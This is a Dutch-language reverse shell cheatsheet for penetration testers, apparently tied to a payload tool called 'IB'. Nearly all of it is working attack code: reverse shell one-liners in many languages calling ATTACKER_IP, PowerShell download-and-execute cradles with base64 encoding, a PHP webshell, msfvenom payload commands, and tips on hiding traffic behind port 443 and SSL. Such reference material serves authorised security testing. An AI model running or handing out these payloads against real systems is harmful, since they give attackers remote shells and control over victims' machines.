Reverse Shell Cheatsheet

Een reverse shell is een techniek waarbij het doelsysteem een uitgaande verbinding maakt naar de aanvaller, in plaats van dat de aanvaller inkomend verbindt. Dit is essentieel bij pentests omdat uitgaande verbindingen zelden geblokkeerd worden door firewalls. In deze cheatsheet vind je reverse shells voor alle gangbare talen en platformen, plus instructies voor listeners en shell-stabilisatie.

Deze cheatsheet is uitsluitend bedoeld voor gebruik in geautoriseerde testomgevingen.

Vereisten

Een aanvalsmachine met een luisterend IP-adres (hier: ATTACKER_IP)
De gekozen luisterpoort (hier: PORT, standaard 443)
Netcat, socat of Metasploit op je aanvalsmachine
Toegang tot het doelsysteem via een kwetsbaarheid (RCE, webshell, etc.)
Optioneel: Incompetent Bastard voor het genereren van payloads

IB – Het script reverseshells.sh genereert automatisch reverse shells voor alle platformen. Gebruik: ./reverseshells.sh eth0 443. De shells worden opgeslagen in http/payloads/shell_443.txt en als losse command-bestanden in http/commands/.

Listeners Opzetten

Voordat je een reverse shell uitvoert op het doelsysteem, moet er een listener klaarstaan.

Netcat listener

# Basis listener
nc -nlvp 443

# Met verbose output
nc -nlvp 443 -v

Socat listener

# Basis listener
socat TCP-LISTEN:443,reuseaddr,fork EXEC:/bin/bash

# Interactieve TTY listener (beste optie)
socat file:`tty`,raw,echo=0 TCP-LISTEN:443

Metasploit multi/handler

msfconsole -q -x "use multi/handler; set payload generic/shell_reverse_tcp; set LHOST ATTACKER_IP; set LPORT 443; run -j"

IB – IB genereert automatisch Metasploit handler-bestanden. Gebruik het commando msf_tcp via het command center: ./command.sh metasploit msf_tcp

Bash Reverse Shells

TCP

# Methode 1: Standaard bash reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1

# Methode 2: File descriptor methode
0<&888;exec 888<>/dev/tcp/ATTACKER_IP/443; sh <&888 >&888 2>&888

# Methode 3: Login shell
/bin/bash -l > /dev/tcp/ATTACKER_IP/443 0<&1 2>&1

# Methode 4: Met mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 443 >/tmp/f

UDP

# Bash UDP (listener: nc -u -lnvp 443)
bash -i >& /dev/udp/ATTACKER_IP/443 0>&1

# sh variant
sh -i >& /dev/udp/ATTACKER_IP/443 0>&1

PowerShell Reverse Shells

One-liner

# Methode 1: TCPClient
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Via download cradle

# Invoke-PowerShellTcp downloaden en uitvoeren
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/Invoke-PowerShellTcpRun.ps1')

# Via WebRequest
IEX (Invoke-WebRequest -Uri 'http://ATTACKER_IP/Invoke-PowerShellTcpRun.ps1' -UseBasicParsing).Content

Base64-encoded

# Genereer base64 payload op Linux
echo -n 'IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER_IP/Invoke-PowerShellTcpRun.ps1")' | iconv -t utf-16le | base64 -w 0

# Uitvoeren op doelsysteem
powershell -enc <BASE64_STRING>

IB – IB genereert automatisch PowerShell payloads met base64 encoding via powershell.py. De cradle-bestanden staan in http/commands/ (bijv. psmethrun, psmethtcprun).

Python Reverse Shells

One-liner

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Python 3

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Import obfuscatie

python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("ATTACKER_IP",443));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

Windows Python

python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",443));subprocess.call(["cmd.exe"],stdin=s,stdout=s,stderr=s)'

PHP Reverse Shells

One-liners

# Methode 1: exec
php -r '$sock=fsockopen("ATTACKER_IP",443);exec("/bin/sh -i <&3 >&3 2>&3");'

# Methode 2: shell_exec
php -r '$sock=fsockopen("ATTACKER_IP",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

# Methode 3: system
php -r '$sock=fsockopen("ATTACKER_IP",443);system("/bin/sh -i <&3 >&3 2>&3");'

# Methode 4: passthru
php -r '$sock=fsockopen("ATTACKER_IP",443);passthru("/bin/sh -i <&3 >&3 2>&3");'

# Methode 5: popen
php -r '$sock=fsockopen("ATTACKER_IP",443);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

Via webshell

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 443 >/tmp/f");?>

Ruby Reverse Shells

# Methode 1: exec
ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Methode 2: interactieve shell met fork
ruby -rsocket -e'exit if fork;c=TCPSocket.new("ATTACKER_IP","443");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'

Perl Reverse Shells

# Methode 1: socket
perl -e 'use Socket;$i="ATTACKER_IP";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Methode 2: IO fork
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Java Reverse Shell

// Compileer en voer uit op het doelsysteem
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c exec 5<>/dev/tcp/ATTACKER_IP/443;cat <&5 | while read line; do $line 2>&5 >&5; done");

Via JSP webshell

# Genereer WAR-bestand met msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f war > shell.war

IB – IB genereert automatisch JSP en WAR reverse shells via reverseshells.sh. Je vindt ze als shell_443.jsp en shell_443.war in http/payloads/.

Netcat Reverse Shells

# Traditioneel (met -e optie, niet altijd beschikbaar)
nc -e /bin/sh ATTACKER_IP 443

# Zonder -e (FIFO methode)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 443 >/tmp/f

# Ncat met SSL
ncat --ssl ATTACKER_IP 443 -e /bin/sh

Windows Netcat

# Windows nc.exe
nc.exe -e cmd.exe ATTACKER_IP 443

# PowerShell alternatief als nc niet beschikbaar is
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Socat Reverse Shells

# Basis reverse shell
socat TCP:ATTACKER_IP:443 EXEC:/bin/sh

# Interactieve TTY (beste optie)
socat TCP:ATTACKER_IP:443 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane

# Listener voor interactieve TTY
socat file:`tty`,raw,echo=0 TCP-LISTEN:443

# Versleuteld met SSL
socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/sh

Shell Stabilisatie

Een rauwe reverse shell is beperkt: geen tab-completion, geen Ctrl+C, geen interactiviteit. Stabiliseer je shell altijd.

Methode 1: Python PTY

# Op het doelsysteem
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Ctrl+Z om de shell te pauzeren (op je aanvalsmachine)
# Dan op je aanvalsmachine:
stty raw -echo; fg

# Stel terminal-type in (op het doelsysteem)
export TERM=xterm
export SHELL=/bin/bash

Methode 2: script

# Alternatief als Python niet beschikbaar is
script -qc /bin/bash /dev/null

# Dan Ctrl+Z en:
stty raw -echo; fg

Methode 3: stty aanpassen

# Op je aanvalsmachine, check je eigen terminal-grootte
stty size
# Voorbeeld output: 50 200

# Op het doelsysteem na stabilisatie
stty rows 50 columns 200

Methode 4: rlwrap

# Gebruik rlwrap voor readline-ondersteuning (tab-completion, history)
rlwrap nc -nlvp 443

Msfvenom Payloads

Linux

# ELF reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f elf > shell.elf

# Linux Meterpreter
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f elf > meterpreter.elf

Windows

# EXE reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f exe > shell.exe

# Windows Meterpreter HTTPS (minder detectie)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=ATTACKER_IP LPORT=443 -f exe > meterpreter.exe

Web payloads

# ASPX
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f aspx > shell.aspx

# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f raw > shell.jsp

# WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f war > shell.war

# PHP
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=443 -f raw > shell.php

IB – Gebruik de IB web-interface voor het genereren van payloads. Navigeer naar het dashboard en gebruik de payload-generators voor Meterpreter, ASPX shells, PHP shells en meer. Alle gegenereerde payloads zijn direct downloadbaar via /payloads/.

Tips en Trucs

Poort 443 gebruiken

Gebruik bij voorkeur poort 443 voor reverse shells. Uitgaand HTTPS-verkeer wordt zelden geblokkeerd door firewalls.

Versleutelde shells

# Genereer SSL certificaat
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'

# Listener met SSL (socat)
socat OPENSSL-LISTEN:443,cert=cert.pem,key=key.pem,verify=0,fork EXEC:/bin/bash

# Client
socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/sh

Fallback-strategie

Probeer bij het opzetten van reverse shells meerdere methoden en poorten. Als poort 443 niet werkt, probeer 80, 53 of 8080.

Samenvatting

In deze cheatsheet heb je een compleet overzicht van reverse shell technieken:

Listeners – Zet altijd eerst je listener op met nc, socat of Metasploit.
Shell per taal – Bash, PowerShell, Python, PHP, Ruby, Perl, Java, Netcat en Socat.
Stabilisatie – Upgrade je shell altijd naar een interactieve TTY.
Msfvenom – Genereer platform-specifieke payloads voor elk scenario.
IB integratie – Gebruik reverseshells.sh en de web-generators voor snelle payload-productie.

Bewaar deze cheatsheet als naslagwerk en pas de IP-adressen en poorten aan voor elke opdracht.